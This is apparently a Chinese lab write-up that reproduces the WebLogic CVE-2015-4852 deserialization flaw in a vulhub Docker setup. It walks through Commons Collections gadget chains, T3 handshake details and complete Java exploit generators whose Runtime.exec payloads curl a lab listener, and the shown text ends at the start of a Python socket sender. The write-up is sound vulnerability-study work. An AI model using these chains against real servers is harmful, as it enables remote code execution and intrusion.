1. weblogic是什么?
摘自wikipedia
WebLogic是美商Oracle的主要产品之一,系购并得来。是商业市场上主要的Java应用服务器软件之一,是世界上第一个成功商业化的J2EE应用服务器
2. 历史漏洞
- CVE-2015-4852
- CVE-2016-0638
- CVE-2016-3510
- CVE-2017-3248
- CVE-2017-3506
- CVE-2017-10271
- CVE-2018-2628
- CVE-2018-2893
- CVE-2018-3191
- CVE-2018-3197
- CVE-2018-3201
- CVE-2018-3245
- CVE-2019-2890
但是据参考文章所言,主要其实可以分为两大块:
1、利用xml decoded反序列化进行远程代码执行的漏洞,例如:
CVE-2017-10271,CVE-2017-3506。
2、利用t3协议+java反序列化进行远程代码执行的漏洞,例如:
CVE-2015-4852、CVE-2016-0638、CVE-2016-3510、CVE-2017-3248、CVE-2018-2628、CVE-2018-2894
这篇文章主要是我复现CVE-2015-4852的过程记录,这个漏洞利用的是后者,也就是t3协议+java反序列化
3. 前置知识
因为本文的主要内容是对漏洞的复现和原理分析,所以这部分并没有详细展开
3.1 RMI、JRMP、JNDI协议
RMI是Rmote Method Invocation的简称,RMI目前使用JRMP进行通信。
JRMP指的是java remote method protocol(Java远程消息交换协议),也就是说JRMP是专门为RMI实现的协议。
3.2 T3协议
上面提到的JRMP协议是rmi默认使用的协议,但是Weblogic Server中的RMI通信使用T3协议和其他java程序间传输数据(序列化的类),t3协议是高度优化的rmi,更详细的内容可以参考下面的T3协议部分
3.3 java序列化与反序列化
- Java 序列化是指把 Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中,
ObjectOutputStream
类的writeObject()
方法可以实现序列化。 - Java 反序列化是指把字节序列恢复为 Java 对象的过程,
ObjectInputStream
类的readObject()
方法用于反序列化。 - 在反序列化时,如果我们输入的序列化内容可以控制
readObject
里面的一些内容来触发Runtime.getRuntime.exec
,就可以实现命令执行。
### 3.4 反射机制
JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性;这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。以下面代码为例简单说明。
package com.b1ClassLoader;
import java.lang.reflect.Method;
public class Test {
public static void main (String[] args) throws Exception{
// 实例化一个TestUser类
TestUser user=new TestUser();
// Class类可以通过 对象的getCLass方法获取
Class cls = user.getClass();
// 也可以通过 类名.class获取
Class cls2 = TestUser.class;
// 还可以通过Class.forName
Class cls3 = Class.forName("com.b1ClassLoader.TestUser");
// 通过实例的Class类对象来调用这个对象里面的method,如果Method有参数,在getMethod后面的参数上赋值相应的参数类型,譬如这里setUsername的一个参数是String类型
Method method = cls.getMethod("hello");
Method method2 = cls2.getMethod("setUsername", String.class);
//最后通过 Method.invoke调用方法,同样的,如果有参数,往后面放
method.invoke(user);
method2.invoke(user,"testname");
System.out.println(user.getUsername());
}
}
class TestUser{
private String username;
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public void hello(){
System.out.println("hello");
}
}
4. 漏洞复现
环境: 在 ubuntu 16.04 上跑的vulhub的weblogic docker镜像,具体版本是:
- jdk1.6.0_45
- weblogic 10.3.6
- 在mac上装了jdk1.6.0_65用来编译exp
4.1 配置weblogic环境
这里使用的vulhub的docker,为了自己能自己从脚本启动,微微改了一下文件:
-
docker-compose.yml
version: '2' services: weblogic: build: . ports: - "7001:7001" - "8453:8453"
-
Dockerfile
from vulhub/weblogic:10.3.6.0-2017
ENV debugFlag true
EXPOSE 7001
EXPOSE 8453
CMD ["/bin/sh","-c","while true;do echo 1;sleep 10;done"]
使用docker-compose up -d
启动后进入docker,修改~/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh
,在开头加上
debugFlag="true"
export debugFlag
然后执行sudo docker restart [容器id]
,然后把docker容器root目录下的内容复制出来。
docker cp [容器id]:/root .
4.2 配置idea远程调试
idea远程调试原理就是本地有跟服务器上一样的lib文件,然后在本地的lib代码里下断点,通过debug就可以在远程服务器时在本地断点停住
用idea打开拷贝出来的目录/root/Oracle/Middleware/wlserver_10.3
。通过上面的原理就知道,实际上要调试那个类文件就把那个class文件所在的jar加入到libraries中,这里要添加server目录下的modules
文件夹和。在idea左上角File->Project Structure里找到Libraries,添加上即可。
在idea中File->Project Structure里找到Project,这里选择从docker里拷出来的jdk,也就是jdk1.6.0_45
最后,在右上角Add Configuration
,添加remote服务器,填写ip和端口
然后点击debug开始监听。
根据参考链接3的文章,这里在
/wlserver_10.3/server/lib/weblogic.jar!/weblogic/wsee/jaxws/WLSServletAdapter.class
的129行下断点,然后访问/wls-wsat/,但是我怎么弄也无法在这里断点停住。。
于是换了思路,找了网上有关这个CVE的可用的EXP打一下,看EXP里调用了ChainedTransformer
里的transform
方法,
对于本文路径是/modules/com.bea.core.apache.commons.collections_3.2.0.jar!/org/apache/commons/collections/functors/ChainedTransformer.class
,我直接在这个transfrom
方法这里下断点,然后用exp打,终于停住
这样可以看到整个exp在代码中执行的过程了,但是还是需要分析原理才能理解整个过程。
4.3 新的问题
此时开始探究exp的原理,也就是commonscollections的调用链,代码在下面会贴出来。但问题就在于,本地无法编译执行,因为mac上装了高版本jdk后装不了jdk1.6了。中间也考虑用docker起个jdk1.6.45来编译,但是编译之后各种报错,没太搞懂就放弃了,最后还是找到这篇文章,成功在mac装上了jdk1.6。
4.4 apache.commons.collections利用链
接下来应该分析一下构造的反序列化利用链,主要是用到了apache commonscollections,这里以ysoserial的CommonCollections1为例进行分析,调用栈如下:
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
本地生成一个java序列化文件poc.ser
的完整的调用代码是:
因为漏洞没回显,我这里用的方式是本地nc监听1234端口,然后curl这个端口的方式看是否成功执行了
package src.main.java;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollectionsExp {
public static void main(String[] args) throws Exception {
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"curl 127.0.0.1:1234"})
};
Transformer chain = new ChainedTransformer(transformers_exec);
HashMap innerMap = new HashMap();
innerMap.put("value", "asdf");
Map outerMap = TransformedMap.decorate(innerMap, null, chain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
Object ins = cons.newInstance(java.lang.annotation.Retention.class, outerMap);
FileOutputStream fos = new FileOutputStream("./poc.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(ins);
}
}
这里首先要说明一下apache.commons.collections里的一些方法.
4.4.1 Transformer
package org.apache.commons.collections;
public interface Transformer {
Object transform(Object var1);
}
Transformer只是一个接口,在利用时,我们一般调用实现该接口的类,例如在攻击代码中用到的InvokerTransformer
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
可以看到,InvokeTransformer的构造方法把三个参数赋值,然后transform
方法使用反射调用了我们传入的类和方法,这里iMethodName
iParamTypes
iArgs
三个参数都是直接可控的,只需要再控制input为一个Runtime的Class实例,就可以完成调用了,相当于Runtime.getRuntime().exec("xxxx")
。也就是说,第一行代码相当于如下操作:
Class cls = Runtime.class;
Method method=cls.getMethod("getRuntime");
Object tmp1 = method.invoke(cls);
Class cls2 = tmp1.getClass();
Method method1 = cls2.getMethod("exec",String.class);
method1.invoke(tmp1,"curl 127.0.0.1:1234");
4.4.2 ChianedTransformer
而且这里还不是执行一个对象的某个方法,需要一个执行链,而这里正好有这么一个类,就是ChainedTransformer
该类中也有一个transform方法:
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
可以看到,这个类构造方法接收我们传入的Transform类型的数组,然后调用transform方法对数组的每个元素调用transform方法。
除此之外,为了获得Runtime.class
,这里又用到另一个类ConstantTransformer
,代码如下
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
他的transform方法就很简单,就是返回iConstant,而this.iConstant又来自构造函数的参数,所以,如果我们实例化时传入一个Runtime.class返回的也是Runtime.class那么也就解决利用链开头的Runtime问题。这就是代码开头部分。如果只看这一部分,还差一个chain.transform
就可以实现命令执行,我们随便传一个值,测试一下。
public class CommonsCollectionsExp {
public static void main(String[] args) throws Exception {
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"curl 127.0.0.1:1234"})
};
Transformer chain = new ChainedTransformer(transformers_exec);
// nc开监听
chain.transform(1);
}
}
构造一个反序列化链的时候,我们是从调用栈底部网上推的,通过前面的分析,我们得到了最底部的Runtime.getRuntime.exec("curl 127.0.0.1:1234")
,刚才调用链生效要触发ChainedTransformer.transform
方法,所以接下来就要想办法调用这个方法。根据网上的分析,有两个类调用了transform方法,分别是LazyMap
和TransformedMap
。
4.4.3 TransformedMap利用链
在TransformedMap类中,有三个函数调用了transform方法,分别是:
protected final Transformer keyTransformer;
protected final Transformer valueTransformer;
protected Object transformKey(Object object) {
return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
}
protected Object transformValue(Object object) {
return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
所以下一步就是构造this.keyTransformer
或者this.valueTransformer
为我们刚才构造的ChainedTransformer
类型对象,然后触发transform
方法即可。但由于这几个方法都是protected
的,无法从外部访问,所以考虑从public
类型的方法入手,一共有4个public的方法(这里把transformKey方法也放上了)
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
public static Map decorateTransform(Map map, Transformer keyTransformer, Transformer valueTransformer) {
TransformedMap decorated = new TransformedMap(map, keyTransformer, valueTransformer);
if (map.size() > 0) {
Map transformed = decorated.transformMap(map);
decorated.clear();
decorated.getMap().putAll(transformed);
}
return decorated;
}
protected Object transformKey(Object object) {
return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
}
public Object put(Object key, Object value) {
key = this.transformKey(key);
value = this.transformValue(value);
return this.getMap().put(key, value);
}
public void putAll(Map mapToCopy) {
mapToCopy = this.transformMap(mapToCopy);
this.getMap().putAll(mapToCopy);
}
这里用到的是decorate
方法,因为decorate
会调用构造函数,从而实现对类内部属性的赋值。这里还有个put方法,既满足是public
,又满足调用了this.transformKey
,在transformKey的构造函数中可以看到,只要我们传入的Object不是null就会执行transform方法,满足调用链,所以在本地测试的时候,可以在构造完前半部分调用一下这个put,来触发transform
。下一步是想办法让put
函数的第一个参数变成我们前面构造的chain
,这里构造代码中间部分
HashMap innerMap = new HashMap();
innerMap.put("keykey", "vvv");
Map outerMap = TransformedMap.decorate(innerMap, null, chain);
因为decorate有个Map类型的第一个参数,这里随便生成一个就行,主要是把前面构造的ChainedTransformer
类型的chain
放到第三个参数上(transformKey和transformValue都可以通过put触发transform方法,但是后面反序列化的时候调用的方法只能在value上触发,所以放到第三个参数),为了测试,这里可以在后面手动调用一下put方法,nc监听一下,命令成功执行,此时代码是:
package src.main.java;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollectionsExp {
public static void main(String[] args) throws Exception {
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"curl 127.0.0.1:1234"})
};
Transformer chain = new ChainedTransformer(transformers_exec);
HashMap innerMap = new HashMap();
innerMap.put("value", "asdf");
Map outerMap = TransformedMap.decorate(innerMap, null, chain);
//这里调用put单纯本地测试一下是否可行
outerMap.put("aaaa","bbbbb");
}
}
目前找到了触发transform的类,但最终目的是反序列化的时候自动调用,所以下一步是找一个有readObject
方法的类,并且在readObject
需要调用刚才提到的transform
方法。这里就用到了jdk自带的sun.reflect.annotation.AnnotationInvocationHandler
类,由于这个类在jdk1.8得到了更新,所以一些payload不能攻击运行在jdk1.8的weblogic,这里环境还是jdk1.6。这个类的readObject
实现如下
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
这里涉及到一个知识点:
TransformedMap是Map类型,TransformedMap里的每个entryset在调用setValue方法时会自动调用TransformedMap类的checkSetValue方法
为什么会有上面一点呢?通过源码可以看到TransformedMap
继承了AbstractInputCheckedMapDecorator
类,而在这个类中可以看到如下代码
static class MapEntry extends AbstractMapEntryDecorator {
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return super.entry.setValue(value);
}
}
可以看到,在这个类中实现了setValue方法,在setValue的时候会调用checkSetValue
方法。
在上面的readObject
中可以看到,var5正好是this.memberValues.entrySet()
的Entry类,而且调用了setValue
方法,那么在var5.setValue
被调用时,同时会调用
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
在这里,就调用了transform方法,由于调用的是valueTransformer
,所以在上面构造exp的时候把chain放在value那了。
由于var5是从this.memberValues
取的,这个就是构造函数的第二个参数,所以构造函数的第二个参数放上面生成的outerMap
就ok了。
但是要进入这个触发点,还需要满足!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)
通过代码可以知道var7 = (Class)var3.get(var6),其中var3=var2.memberTypes(),然后var2=AnnotationType.getInstance(this.type),而this.type是可控的,构造函数如下(jdk1.7版本是这样,jdk1.6更简单,直接赋值没啥好分析的,我贴在下面了):
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
//jdk1.6版本是这样,没过滤更简单
AnnotationInvocationHandler(Class var1, Map<String, Object> var2) {
this.type = var1;
this.memberValues = var2;
}
现在看一下jdk1.7的过滤条件,要求是Annotation
类的子类,Annotation这个接口是所有注解类型的公用接口,所有注解类型应该都是实现了这个接口的,在exp里用的是java.lang.annotation.Retention.class
这个类,总的exp如下,这里最后模拟了一下序列化和返序列化的过程
4.4.4 TransformedMap的exploit
本地测试的exp代码是
package src.main.java;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollectionsExp {
public static void main(String[] args) throws Exception {
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"curl 127.0.0.1:1234"})
};
Transformer chain = new ChainedTransformer(transformers_exec);
HashMap innerMap = new HashMap();
innerMap.put("keykey", "vv");
Map outerMap = TransformedMap.decorate(innerMap, null, chain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
Object ins = cons.newInstance(java.lang.annotation.Retention.class, outerMap);
// FileOutputStream fos = new FileOutputStream("./poc.ser");
// ObjectOutputStream oos = new ObjectOutputStream(fos);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(ins);
oos.flush();
oos.close();
// 本地模拟反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = (Object) ois.readObject();
}
}
4.4.5 LazyMap
再看LazyMap中调用transform方法的地方
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
调用了this.factory.transfrom
,而this.factory
由构造函数指定
protected final Transformer factory;
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = factory;
}
}
构造poc时只要让给LazyMap
的第二个参数传入一个ChainedTransformer
类型对象即可。下一步是找在哪里调用这个get方法,
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
byte var7 = -1;
switch(var4.hashCode()) {
case -1776922004:
if (var4.equals("toString")) {
var7 = 0;
}
break;
case 147696667:
if (var4.equals("hashCode")) {
var7 = 1;
}
break;
case 1444986633:
if (var4.equals("annotationType")) {
var7 = 2;
}
}
switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}
return var6;
}
}
}
}
在AnnotationInvocationHandler
类的invoke
方法中,有this.memberValues.get(var4);
,而this.memberValues
在构造函数中赋值
AnnotationInvocationHandler(Class var1, Map<String, Object> var2) {
this.type = var1;
this.memberValues = var2;
}
所以只要在构造函数的第二个参数传LazyMap类型即可,接下来的问题是,如何调用这个invoke
方法呢?这就要利用到java的动态代理,参考这篇文章
总结为一句话就是,被动态代理的对象调用任意方法都会通过对应的InvocationHandler的invoke方法触发
引用参考文章8的里的这一段
只要创建一个LazyMap的动态代理,然后再用动态代理调用LazyMap的某个方法就行了,但是为了反序列化的时候自动触发,我们应该找的是某个重写了readObject方法的类,这个类的readObject方法中可以通过动态代理调用LazyMap的某个方法,其实这和直接调用LazyMap某个方法需要满足的条件几乎是一样的,因为某个类的动态代理与它本身实现了同一个接口。而我们通过分析TransformedMap利用链的时候,已经知道了在AnnotationInvocationHandler的readObject方法中会调用某个Map类型对象的entrySet()方法,而LazyMap以及他的动态代理都是Map类型,所以,一条利用链就这么出来了:
package src.main.java;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.eclipse.persistence.internal.xr.Invocation;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollectionsExp2 {
public static void main(String[] args) throws Exception{
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"curl 127.0.0.1:1234"})
};
Transformer chain = new ChainedTransformer(transformers_exec);
HashMap innerMap = new HashMap();
innerMap.put("keykey","vv");
Map lazyMap = LazyMap.decorate(innerMap,chain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);
// 创建LazyMap的handler实例
InvocationHandler handler = (InvocationHandler) cons.newInstance(Override.class,lazyMap);
// 创建LazyMap的动态代理实例
Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(), handler);
// 创建一个AnnotationInvocationHandler实例,并且把刚刚创建的代理赋值给this.memberValues
InvocationHandler handler1 = (InvocationHandler)cons.newInstance(Override.class, mapProxy);
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(handler1);
oos.flush();
oos.close();
// 本地模拟反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = (Object) ois.readObject();
}
}
上面的代码执行后虽然会报错,但是确实可以成功执行。
4.4.6 LazyMap的另一条链
这部分引用自参考链接8
上面的链受jdk版本限制,还有一条不受限的链。利用了另一个调用get方法的TiedMapEntry
类的getValue
方法
public Object getValue() {
return this.map.get(this.key);
}
而这里的this.map
是构造函数的第一个参数
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
所以下一步是找在反序列化的readObject
中哪里会调用getValue方法。最终定位到BadAttributeValueExpException
类的readObject
方法。
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
GetField var2 = var1.readFields();
Object var3 = var2.get("val", (Object)null);
if (var3 == null) {
this.val = null;
} else if (var3 instanceof String) {
this.val = var3;
} else if (System.getSecurityManager() != null && !(var3 instanceof Long) && !(var3 instanceof Integer) && !(var3 instanceof Float) && !(var3 instanceof Double) && !(var3 instanceof Byte) && !(var3 instanceof Short) && !(var3 instanceof Boolean)) {
this.val = System.identityHashCode(var3) + "@" + var3.getClass().getName();
} else {
this.val = var3.toString();
}
}
第三个分支里调用了var3.toString()
,而var3其实就是取传过来对象的val属性值,所以,只要我们控制BadAttributeValueExpException对象的val属性的值为我们精心构造的TiedMapEntry对象就行。EXP如下
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class POC6 {
public static void main(String[] args) throws Exception{
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"gnome-calculator"})
};
Transformer chain = new ChainedTransformer(transformers_exec);
HashMap innerMap = new HashMap();
innerMap.put("value","axin");
Map lazyMap = LazyMap.decorate(innerMap,chain);
// 将lazyMap封装到TiedMapEntry中
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "val");
// 通过反射给badAttributeValueExpException的val属性赋值
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException, tiedMapEntry);
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(badAttributeValueExpException);
oos.flush();
oos.close();
// 本地模拟反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = (Object) ois.readObject();
}
}
这里有一点需要注意,那就是不嗯给你直接在初始化的时候就给badAttributeValueExpException 对象的val属性赋值,因为它的构造函数如下:
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}
这里直接就调用了val.toString,所以,如果通过构造函数赋值val属性为我们构造的TiedMapEntry对象对导致在本地生成payload的时候就执行了命令,并且我们精心构造的对象还会被转换为String类型,就失效了。
4.5 T3协议
前面已经分析了exp的原理,生成了序列化攻击文件poc.ser
,但是为了打到weblogic服务器上,我们还需要了解一下t3协议相关的知识。
首先,ubuntu上用tcpdump抓流量包
sudo tcpdump -i ens33 port 7001 -w t3.pcap
然后用exp打一下,从exp来分析一下t3协议的通信过程,wireshark分析流量包
可以看到,一开始是exp发送了一行t3 12.2.1
,意思就是客户端的weblogic版本是12.2.1,服务器端返回一个HELO:
加上服务器端的版本信息10.3.6.0
然后加上.false
,后面的内容是一段数据加上构造的攻击序列化内容,在其中可以看到序列化的头ac ed 00 05
所以简单来说,t3协议的exp需要包含2部分,一个请求头,是't3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
,等到服务器返回相应版本信息后,再发送payload。这里为了生存payload,首先需要正常使用t3协议访问一下,然后抓正常的流量包,再替换其中的序列化部分,为poc.ser
的内容。
在exp里用的是这种方式,本地复测了一下,服务端地址是192.168.38.2的7001端口,测试方式是本机192.168.38.1监听1234端口,然后命令执行一个curl,看是否成功。
首先生成poc.ser,是利用如下java代码生成的序列化利用链
package src.main.java;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CVE_2015_4852 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"curl 192.168.38.1:1234"})
};
Transformer chain = new ChainedTransformer(transformers);
HashMap<String, String> innerMap = new HashMap<String, String>();
Map lazyMap = LazyMap.decorate(innerMap, chain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
InvocationHandler handler = (InvocationHandler) cons.newInstance(Override.class, lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);
InvocationHandler handler1 = (InvocationHandler) cons.newInstance(Override.class, mapProxy);
FileOutputStream fos = new FileOutputStream("./poc.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(handler1);
oos.flush();
oos.close();
}
}
#!/usr/bin/python3
import socket
import binascii
import struct
host = "192.168.38.2"
port = 7001
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server_address = (host,port)
sock.settimeout(10)
sock.connect(server_address)
